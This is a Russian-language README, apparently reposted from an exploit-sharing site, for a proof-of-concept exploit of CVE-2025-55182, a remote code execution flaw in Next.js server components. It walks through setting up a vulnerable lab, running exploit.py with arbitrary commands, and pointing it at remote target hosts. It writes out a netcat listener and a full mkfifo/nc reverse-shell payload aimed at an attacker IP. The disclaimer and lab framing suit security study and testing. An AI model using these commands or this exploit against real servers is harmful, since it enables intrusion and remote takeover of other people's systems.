React2Shell CVE-2025-55182

Эксплойт proof-of-concept, демонстрирующий уязвимость удалённого выполнения кода в приложениях Next.js через загрязнение прототипа (prototype pollution) в конвейере рендеринга серверных компонентов React.

⚠️ Отказ от ответственности

Этот инструмент предназначен только для образовательных целей и авторизованного тестирования. Несанкционированное использование против систем, которые вам не принадлежат или на тестирование которых у вас нет разрешения, незаконно.

📋 Предварительные требования

• Node.js (v16 или новее)
• Python 3.6+
• netcat (для ревёрс-шеллов)
• Уязвимое приложение Next.js (включено в этот репозиторий)

🚀 Быстрый старт

Вариант 1: Использование готового лабораторного стенда

1. Клонируйте репозиторий

git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182

Вариант 2: Создание сервера с нуля

# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab

Примечание: Готовый лабораторный стенд уже содержит необходимый уязвимый код. Если вы создаёте проект с нуля, вам нужно вручную добавить уязвимые компоненты.

2. Установка зависимостей

cd react2shell-lab
npm install

3. Запуск уязвимого сервера

В терминале 1:

npm run dev

Сервер должен запуститься на http://localhost:3000

🔧 Эксплуатация

Базовое выполнение команд

1. В репозитории есть файл exploit.py, демонстрирующий уязвимость. Измените переменную COMMAND в файле на нужную вам команду:

   root@kitploit:~

   COMMAND = 'whoami'  # Change this to any command you want to execute
   

2. Запустите эксплойт:

   root@kitploit:~

   python3 exploit.py
   

Ревёрс-шелл

1. Настройте прослушиватель netcat в новом терминале:

   root@kitploit:~

   nc -nvlp 4444
   

2. Отредактируйте exploit.py и замените команду на ваш payload ревёрс-шелла:

   root@kitploit:~

   COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
   

   Замените YOUR_IP на IP-адрес вашей локальной машины.

3. Запустите эксплойт:

   root@kitploit:~

   python3 exploit.py
   

🛠️ Расширенное использование

Тестирование удалённых целей

Измените переменную HOST в скрипте эксплойта, чтобы указать удалённый сервер:

HOST = 'target-ip-address'  # Replace with target IP
PORT = 3000  # Default Next.js port

Распространённые команды

• Вывести содержимое каталога: ls -la
• Получить информацию о системе: uname -a
• Получить имя текущего пользователя: whoami
• Получить информацию о сети: ifconfig или ip a

🔍 Устранение неполадок

• Отказ в соединении: Убедитесь, что целевой сервер запущен и доступен
• Команда не найдена: В целевой системе могут отсутствовать некоторые бинарные файлы
• Нет вывода: Команда могла выполниться, но не выдать никакого результата

📚 Ссылки

• CVE-2025-55182
• Рекомендации по безопасности Next.js
• Загрязнение прототипа в JavaScript

📄 Лицензия

Этот проект лицензирован под MIT License — подробнее в файле LICENSE.

Эта версия запрашивает у пользователя ввод для удалённой цели, а также IP-адресов и портов атакующего. Тело POST-запроса (body_parts) в этой версии также немного сокращено.

Источники:

https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained

https://tryhackme.com/room/react2shellcve202555182